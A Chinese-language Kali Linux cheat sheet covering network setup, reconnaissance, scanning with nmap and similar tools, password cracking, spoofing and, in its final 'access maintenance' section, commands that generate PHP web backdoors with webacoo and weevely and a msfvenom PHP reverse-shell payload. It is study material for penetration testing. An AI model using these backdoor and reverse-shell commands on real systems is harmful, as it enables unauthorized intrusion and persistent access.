kali-linux知识整理与渗透测试指南
Kali Linux入门与介绍
一、kali的主要特色
kali 官网 :https://www.kali.org/
基于Debian的Linux发行版
集成300多个渗透测试程序
支持绝大多数无线网卡
二、网络服务配置
1. 设置固定ip:
虚拟机的网络设置文件
/etc/network/interfaces
2. 临时ip配置命令
ifconfig eth0 192.168.43.100 netmask 255.255.255.0 //ip
route add default gw 192.168.43.1 //网关路由
systemctl restart networking.service //重启网络恢复
3. dmesg命令的作用:
查看无线网卡硬件信息,查看内核环形缓冲区信息
4. 开启和关闭网络的命令
这里使用systemctl 或者 service 命令均可,语法基本相同,老版本的kali可能只支持service命令
常用的语法有:
start //开启
stop //关闭
restart //重启
5. kali中常用服务
http(apache)
service apache2 start //启动
service apache2 stop //关闭
service apache2 restart //重启
update-rc.d apache2 defaults //自启
mysql
service mysql start //启动
service mysql stop //关闭
service mysql restart //重启
update-rc.d mysql defaults //自启
mysql -u root -p //登录
ssh
service ssh start //启动
service ssh stop //关闭
service ssh restart //重启
update-rc.d ssh defaults //自启
三、系统更新
命令
apt-get update
apt-get upgrate
apt-get dist-upgrade
PS:最新版的kali也就是2020年版兼容性并不好,而且移除了许多我常用的工具,个人不推荐更新,有需求除外。
aptcache search <包名> //在软件仓库查找某个软件包的名称
apt-get install <包名> //指定安装某个软件
渗透测试概述
一、五个测试框架的方法论
开源安全测试方法论
信息系统安全评估框架
开放式web应用安全项目
web应用安全联合威胁人类
渗透测试执行标准
二、通用渗透测试框架
范围界定
信息收集
目标识别
服务枚举
漏洞映射
社会工程学
漏洞利用
提升权限
访问维护
文档报告
渗透测试实施步骤
一、信息搜集
whois命令的定义、使用和用法
whois example.com
该命令会返回example.com域名注册人信息和联系方式等域名的详细信息。
官网:https://who.is/
DNS 记录分析
1. host
host www.example.com
无参数时只返回ip地址(ipv4)
host -a www.example.com
加入参数-a ,返回所有dns记录
2. dig
dig example.com
无参数时只返回A记录地址(IPV4)
dig example.com any
加入参数any,返回所有dns记录
3. dnsenum
dnsenum example.com
默认情况下,会返回主机地址、名称解析服务器和邮件服务器的IP地址信息
如果你有字典,可以用此工具爆破子域名
dnsenum -f dns.txt example.com
4. dmitry
dmitry -iwnse targethost
进行whois查询
在Netcraft.com的网站上挖掘主机信息
搜索所有可能的子域
搜索所有可能的电子邮件地址
dmitry targethost -f -b
做简单的端口扫描(很慢,而且不怎么好用,不推荐)
路由信息
1. tcptraceroute
tcptraceroute example.com
在已知目标web服务器开放了使用TCP协议的80端口。使用上述命令可以获取从本机到目标主机完整的路由信息。
ps:容易被防火墙拦截
2. tctrace
tctrace -i eth0 -d example.com
指定网卡eth0获取本机和example.com之间的路由信息
目标识别
博客分栏 渗透测试常用工具-目标识别
1. ping
ping -c 10 example.com
ping -c 10 192.168.123.256
-c参数指定发送数据包的数量(执行次数)
-i 参数指定源地址或网络接口(网卡)
-s 指定数据包大小(默认大小64字节)
2. arping
arping 192.168.56.102 -c 1
查看局域网内主机是否在线,-i参数指定网卡,-c参数指定次数
3. fping
fping 192.168.1.1 192.168.1.100 192.168.1.107
检测这三台主机是否在线
fping -g 192.168.56.0/24
检测整个网段
fping -r 1 -g 192.168.1.1 192.168.1.10
参数-r指定重试次数,默认为3
fping -s www.baidu.com www.cqcet.edu.cn www.csdn.net
-s 参数查看多个目标的统计结果
4. hping3
主要用途
测试防火墙规则
测试入侵检测系统/IDS
测试TCP/IP模式的安全漏洞
hping3 -0 192.168.56.101 发送原始IP包(--raw-ip)
hping3 -1 192.168.56.101 发送ICMP包(--icmp)
hping3 -2 192.168.56.101 发送UDP包(--udp)
hping3 -8 192.168.56.101 进入扫描模式(--scan)
hping3 -9 192.168.56.101 进入监听模式(--listen)
5. nping
nping --tcp-connect -c 1 -p 22 192.168.56.102 基础的tcp-connect功能
nping --tcp -c 1 -p 22 192.168.6.102 TCP模式
nping --udp -c 1 -p 22 192.168.6.102 UDP模式
nping --icmp -c 1 -p 22 192.168.6.102 ICMP模式(默认模式)
nping --arp -c 1 -p 22 192.168.6.102 ARP/RARP模式
nping --tr -c 1 -p 22 192.168.6.102 traceroute模式
6. nbtscan
nbtscan 192.168.1.1-254
搜索局域网内各个主机的NetBIOS名称
nbtscan -hv 192.168.1.1-254
-hv参数查看运行了那些服务
7. uniscan
操作系统识别
1. p0f
可以识别以下几种主机
连接到您主机的机器(SYN模式,即默认模式)
主机可以访问的机器(SYN+ACK模式)
主机不能访问的机器(RST+模式)
可以监控到其网络通信的机器
p0f -f /etc/p0f/p0f.fp -o p0f.log
开放80端口让靶机访问
2. nmap
nmap -O 192.168.43.89 //操作系统识别
识别率并不是很高
服务枚举
渗透测试常用工具-amap服务枚举
网络扫描
1. nmap
主要功能
主机探测
端口扫描
服务/版本检测
操作系统检测
网络路由跟踪
Nmap脚本引擎
nmap -sT 192.168.43.89 //TCP连接扫描
nmap -sS 192.168.43.89 //SYN扫描
nmap -sN 192.168.43.89 //TCP NULL扫描
nmap -sF 192.168.43.89 //TCP FIN扫描
nmap -sX 192.168.43.89 //TCP XMAS扫描
nmap -sM 192.168.43.89 //TCP Maimon扫描
nmap -sA 192.168.43.89 //TCP ACK扫描
nmap -sW 192.168.43.89 //TCP 窗口扫描
nmap -sI 192.168.43.89 //TCP Idel扫描
扫描选项
-p 端口范围 :只扫描指定的端口
-F (快速扫描):仅扫描100个常用端口
-r (顺序扫描):按照从小到大的顺序扫描端口
--top-ports <1 or greater> 扫描nmap-services里排名前N的端口
目标端口选项
交互(屏幕)输出
正常输出(-oN)不显示runtime信息和警告信息
XML文件(-oX)生成的XML格式文件可以转换成html文件,也可以被图形用户界面解析,便于导入数据库
生成便于Grep使用的文件(-oG)
输出选项
-T 指定时间排程控制的模式
时间排程控制选项
nmap -sV 192.168.43.89 -p 22 //服务版本识别
nmap -O 192.168.43.89 //操作系统检测
nmap -Pn 192.168.43.89 //禁用主机检测
nmap -A 192.168.43.89 //综合扫描
常用选项
-sC 或 --script = default 启动默认类NES脚本
--script <filename>|<category>|<directories> 根据指定的文件名、类别名、目录名,执行相应的脚本
--script-args<args> 给脚本指定参数
脚本引擎
-f 使用小数据包
--mtu 调整数据包的大小
-D 指定假IP
--source-port<portnumber>或-g 模拟源端口
--data-length 改变发送的数据包的默认长度
--max-parallelism 限制nmap并发扫描的最大连接数
--scan-delay<time> 控制发送探测数据的时间间隔
edit
2. Unicornscan
-m U 检测UDP协议
-m T 检测TCP协议
-Iv 查看详细输出
-r 调整发包速率
unicornscan -m U -Iv 192.168.43.89:1-65535 -r 10000
unicornscan -m T -Iv 192.168.43.89:1-65535 -r 10000
SMB枚举
1. nbtscan
nbtscan 192.168.56.1-254
搜索192.168.56.0内各个主机的NetBIOS名称
nbtscan -hv 192.168.56.102
查看192.168.56.102这台主机的网络服务
SNMP枚举
渗透测试常用工具-ADMsnmp进行snmp分析
1. onesixtyone
onesixtyone 192.168.56.102
搜索主机支持的SNMP字符串
onesixtyone -d 192.168.56.102
进行更加细致的扫描
2. snmpcheck
snmpcheck -t 192.168.56.102
搜集SNMP设备的有关信息
VPN 枚举
1. ike-scan
ike-scan -M -A -Pike-hashkey 192.168.0.10
探测、识别、测试一台IPSec VPN服务器
-M 将payload的解码信息分为多行显示,以便于阅读
-A 使用IKE的aggressive mode
-P 将aggressive mode的与共享密钥哈希值保存为文件
漏洞映射
一、漏洞类型
本地漏洞
远程漏洞
二、漏洞扫描器
OpenVAS
Cisco分析工具
Cisco Auditing Tool(cat)
运行:
cd /usr/share/
CAT --help
命令:
-h 指定主机名(在扫描单个主机时使用该选项)
-w 指定字典名称(以猜测团体字符串)
-a 指定密码列表(以穷举密码)
-i 及[ioshist](检查该IOS在历史上出现过的bug)
Cisco Global Exploiter(cge)
运行:
cd /usr/bin/
cge.pl
命令
cge.pl 10.200.213.25 3
第三类测试
FUZZ(模糊)分析工具
BED(待续)
JBroFuzz(待续)
三、SMB分析工具
ImpacketSamrdump
(待续)
四、SNMP分析工具
SNMP Walk
(待续)
五、Web程序分析工具
数据库评估工具
DBPwAudit(待续)
sqlmap
SQL Ninja(待续)
Web应用评估工具
Burpsuite (待续)
Paros Proxy(待续)
W3af(待续)
WafW00f(待续)
Webscarab(待续)
漏洞利用
MSFConsole
MSFConsole_常用模块
MSFConsole_后渗透模块
提权
一、分类
纵向提权
横向提权
二、利用本地漏洞
三、密码攻击
基于所知
基于所有
基于特征
离线攻击
在线攻击
hash-idntifire 判断hash算法 — 只有知道被测系统采用的hash算法,才能使用密码破解
hashcat 多线程密码破解,完全利用CPU
RainbowCrack 利用彩虹表破解,空间换取时间
samdump2 破解windows系统账号的密码
John 破解hash,破解DES crypt类型优异
Johnny John的图形化版
Crunch 创建密码字典,可用于暴力破解
Ophcrack 基于彩虹表的 LM/NTML类型
在线破解工具
CeWL 爬虫模式在指定URL上收集单词的工具,把收集到的单词纳入字典,提高爆破命中率
Hydra 在线破解密码
Medusa 在线破解密码
四、网络欺骗工具
网络嗅探与网络欺骗
DNSchef
替DNS服务器对被测主机进行DNS回复,把域名解析为攻击者管控的IP,从而让攻击者的主机扮演真正的服务器的角色
arpspoof
在交换网络中辅助进行网络监听的实用工具
Ettercap
在LAN中进行中间人攻击的工具
五、网络嗅探器
Dsniff
tcpdump
Wireshark
访问维护
一、操作系统后门
Cymothoa
Intersect
Meterpreter
二、隧道工具
dns2tcp
iodine
ncat
proxychains
ptunnel
socat
sslh
stunnel4
三、创建web后门
WeBaCoo
命令:
-g 制作后门代码
-f 后门所需的php功能:system(默认)/shell_exec/exec/passthru/popen
-o 输出 指定生成的后门程序的文件名
举例:
webacoo -g -o test.php 使用默认配置生成php后门程序
webacoo -t -u http://192.168.43.89/test.php
连接到后门程序
weevely
生成混淆PHP backdoor,并将后门保存为display.php
weevely generate password display.php
weevely http://192.168.43.89/display.php password
访问被测主机的webshell
PHP Meterpreter
-p 指定payload为php/meterpreter/reverse_tcp
-f 设置输出格式
lhost 为攻击机地址
lport 为攻击机端口
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.43.180 LPORT=1234 -f raw > a.php